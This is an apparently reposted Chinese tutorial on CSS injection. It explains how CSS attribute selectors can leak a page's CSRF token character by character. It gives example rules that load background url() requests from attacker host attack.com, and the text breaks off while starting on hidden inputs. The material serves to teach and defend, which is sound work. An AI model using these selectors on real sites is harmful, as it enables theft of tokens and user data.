css 注入,CSS injection 知识总结

现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。

CSS 注入 窃取标签属性数据

CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。

hello world

属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。

css 注入,CSS injection 知识总结_第1张图片

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。

input[value^="0"] {

background: url(http://attack.com/0);

}

input[value^="1"] {

background: url(http://attack.com/1);

}

input[value^="2"] {

background: url(http://attack.com/2);

}

...

input[value^="Y"] {

background: url(http://attack.com/Y);

}

input[value^="Z"] {

background: url(http://attack.com/Z);

}

第一位是Z,接着窃取第二位

input[value^="Z0"] {

background: url(http://attack.com/0);

}

...

input[value^="ZZ"] {

background: url(http://attack.com/Z);

}

解决hidden

当然还有个问题, 当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发 url() 请求服务器。

解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。

input[v

你可能感兴趣的:(css,注入)